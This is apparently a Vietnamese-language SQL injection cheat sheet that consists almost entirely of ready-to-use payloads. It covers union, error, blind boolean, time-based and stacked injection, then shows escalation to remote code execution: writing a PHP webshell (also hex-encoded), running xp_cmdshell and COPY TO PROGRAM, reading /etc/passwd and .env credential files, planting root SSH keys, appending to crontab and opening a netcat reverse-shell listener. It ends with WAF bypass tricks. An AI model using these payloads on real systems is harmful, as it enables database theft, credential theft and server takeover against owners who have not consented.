Skip to main content

SQL Injection

Dấu hiệu nhận biết

  • Input bất thường:
    • id=1' → Lỗi SQL (e.g., "You have an error in your SQL syntax").
    • id=1' OR '1'='1-- → Trả về tất cả dữ liệu.
    • id=1; -- → Bình luận bỏ phần truy vấn sau.
  • Kiểm tra thêm:
    • id=1' AND 1=1-- → Trang bình thường (True).
    • id=1' AND 1=2-- → Trang lỗi (False).
  • Database phổ biến:
    • MySQL/MariaDB: information_schema, LOAD_FILE, INTO OUTFILE.
    • SQL Server: sys.*, xp_cmdshell, WAITFOR.
    • PostgreSQL: pg_catalog, pg_read_file, COPY.
  • Phản hồi:
    • Lỗi SQL, dữ liệu bất thường, status code (500, 200), hoặc trì hoãn (Blind Time).

Cách khai thác

1. Union-Based SQLi (MySQL, MariaDB)

  • Xác định số cột:
    • id=1 ORDER BY 1-- → Tăng số đến khi lỗi (binary search: ORDER BY 4, ORDER BY 2).
    • id=1 UNION SELECT null,null,null-- → Tăng null đến khi không lỗi.
    • id=-1 GROUP BY 4-- → Nếu UNION bị chặn.
  • Kiểm tra cột hiển thị:
    • id=-1 UNION SELECT 1,2,3-- → Tìm cột string hiển thị trên trang.
  • Trích xuất dữ liệu:
    • Database: id=-1 UNION SELECT 1,group_concat(0x7c,schema_name,0x7c) FROM information_schema.schemata--.
    • Tables: id=-1 UNION SELECT 1,group_concat(0x7c,table_name,0x7c) FROM information_schema.tables WHERE table_schema='db_name'--.
    • Columns: id=-1 UNION SELECT 1,group_concat(0x7c,column_name,0x7c) FROM information_schema.columns WHERE table_name='users'--.
    • Data: id=-1 UNION SELECT 1,concat(username,0x7e,password) FROM users--.
    • SQL Server: id=-1 UNION SELECT 1,username+'~'+password FROM users--.
  • Giới hạn:
    • LIMIT 2,1 → Lấy bản ghi thứ 2, 1 bản ghi.
  • Lưu ý:
    • Loại bỏ dữ liệu gốc: id=-1 để truy vấn gốc trả về rỗng.
    • INSERT nhiều giá trị: INSERT INTO log(a,b,c) VALUES (1,2,3),(SELECT version(),null,null);.

2. Error-Based SQLi

  • Gây lỗi:
    • MySQL: id=1 AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))--.
    • SQL Server: id=1 AND 1=convert(int,(SELECT db_name()))--.
  • Trích xuất dữ liệu:
    • Database: id=1 AND extractvalue(1,concat(0x7e,(SELECT group_concat(schema_name) FROM information_schema.schemata),0x7e))--.
    • Tables: id=1 AND extractvalue(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='db_name'),0x7e))--.
    • Columns: id=1 AND extractvalue(1,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users'),0x7e))--.
    • Data: id=1 AND extractvalue(1,concat(0x7e,(SELECT concat(username,':',password) FROM users LIMIT 0,1),0x7e))--.
  • Lưu ý:
    • Phụ thuộc vào lỗi hiển thị.
    • PostgreSQL ít hỗ trợ Error-Based.

3. Blind Boolean-Based SQLi

  • Kiểm tra:
    • id=1 AND 1=1-- → True (trang bình thường).
    • id=1 AND 1=2-- → False (trang lỗi).
    • id=1 AND (SELECT 'a' FROM users WHERE username='admin')='a'-- → True nếu admin tồn tại.
  • Trích xuất dữ liệu:
    • Độ dài: id=1 AND length(database())=7--.
    • Ký tự: id=1 AND substring(database(),1,1)='w'-- hoặc id=1 AND ascii(substring(database(),1,1))=119--.
    • Subquery: id=1 AND substring((SELECT concat(username,':',password) FROM users LIMIT 0,1),1,1)='a'--.
    • Tối ưu: id=1 AND ascii(substring(database(),1,1)) BETWEEN 65 AND 90-- (binary search).
  • Lưu ý:
    • Dùng upper()/lower() để giảm request.
    • Status code: 200 (sai), 500 (đúng) để giảm nhiễu.

4. Blind Time-Based SQLi

  • Kiểm tra:
    • MySQL: id=1 AND sleep(5)--.
    • SQL Server: id=1; WAITFOR DELAY '0:0:5'--.
    • PostgreSQL: id=1 AND pg_sleep(5)--.
  • Trích xuất dữ liệu:
    • Độ dài: id=1 AND IF(length(database())=7,sleep(5),0)--.
    • Ký tự: id=1 AND IF(ascii(substring(database(),1,1))=119,sleep(5),0)--.
    • Subquery: id=1 AND IF(substring((SELECT concat(username,':',password) FROM users LIMIT 0,1),1,1)='a',sleep(5),0)--.
  • Lưu ý:
    • Đảm bảo mạng ổn định để tránh nhầm lẫn trì hoãn.
    • SQL Server: IF...WAITFOR; MySQL: IF...sleep.

5. Stack Query SQLi

  • Thực thi nhiều lệnh:
    • MySQL: id=1; SELECT sleep(5)--.
    • SQL Server: id=1; EXEC master..xp_cmdshell 'whoami'--.
    • PostgreSQL: id=1; COPY (SELECT '') TO PROGRAM 'id'--.
  • Ví dụ:
    • Ghi file: id=1; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--.
    • Đọc file: id=1; SELECT LOAD_FILE('/etc/passwd')--.
  • Lưu ý:
    • Phụ thuộc vào ngôn ngữ lập trình và cấu hình DB.
    • PostgreSQL: COPY cho RCE.

6. SQLi to RCE

  • Kiểm tra quyền:
    • MySQL: SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type IN ('EXECUTE', 'FILE')--.
    • SQL Server: SELECT * FROM sys.fn_my_permissions(NULL, 'DATABASE')--.
  • Đọc file:
    • MySQL: id=1 UNION SELECT 1,LOAD_FILE('/etc/passwd')--.
    • PostgreSQL: id=1 UNION SELECT 1,pg_read_file('/etc/passwd')--.
    • SQL Server: id=1; SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_CLOB) AS Contents--.
  • Ghi file:
    • MySQL: id=1 UNION SELECT '<?php system($_REQUEST["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--.
    • Thư mục thay thế: /tmp, /var/www/uploads, /var/www/static.
    • Hex: 0x3c3f7068702073797374656d28245f524551554553545b22636d64225d293b3f3e (bypass ').
  • Thực thi lệnh:
    • SQL Server: id=1; EXEC xp_cmdshell 'whoami'--.
    • PostgreSQL: id=1; COPY (SELECT '') TO PROGRAM 'whoami'--.
    • MySQL: Ghi webshell hoặc thêm cron-job (/etc/crontab).
  • Khác:
    • Authorized keys: SELECT 'ssh-rsa ...' INTO OUTFILE '/root/.ssh/authorized_keys'--.
    • Credential: LOAD_FILE('/var/www/config.php') hoặc /var/www/.env.

Bypass

  • Filter:
    • Case: UNIONUnIoN, SELECTSeLeCt.
    • Comment: /**/ thay dấu cách, -- - tránh trim().
    • Khoảng trống: Tab, %0a, %0d, %00.
  • WAF:
    • Mã hóa: hex(), char(), 0x<hex> (e.g., 0x3c3f706870 cho <?php).
    • Ký tự đặc biệt: %0a, %0d, %2f.
    • Obfuscation: SEL/**/ECT, UNION/**/SELECT.
  • Tối ưu:
    • Binary search: ORDER BY 4, ascii(substring(...)) BETWEEN 65 AND 90.
    • Giảm request: upper()/lower(), LIMIT cho subquery.
    • Status code: 200 (sai), 500 (đúng) cho Blind Boolean.

Ghi chú

  • Kiểm tra phản hồi: Status code, content-length, body content, time response.
  • Công cụ hỗ trợ:
    • Burp Suite: Intercept, Intruder (Blind SQLi), Repeater.
    • SQLMap: --tamper, --dbms (MySQL, SQL Server, PostgreSQL).
    • Netcat: Reverse shell (nc -lvp 4444).
  • Database:
    • MySQL/MariaDB: information_schema, LOAD_FILE, INTO OUTFILE.
    • SQL Server: sys.*, xp_cmdshell, WAITFOR.
    • PostgreSQL: pg_catalog, pg_read_file, COPY.
  • RCE:
    • Webshell: /var/www/html/shell.php.
    • Cron-job: Append /etc/crontab.
    • Authorized keys: /root/.ssh/authorized_keys.
    • Credential: /var/www/config.php, .env.
  • Tối ưu:
    • Binary search: Tăng tốc ORDER BY, Blind Boolean/Time.
    • Error path: Lỗi gợi ý thư mục ghi (e.g., /tmp, /var/www/uploads).
    • INSERT: INSERT INTO log(a,b,c) VALUES (1,2,3),(SELECT version(),null,null);.
    • Lỗi cột: Không dùng UNION nếu số cột khác nhau.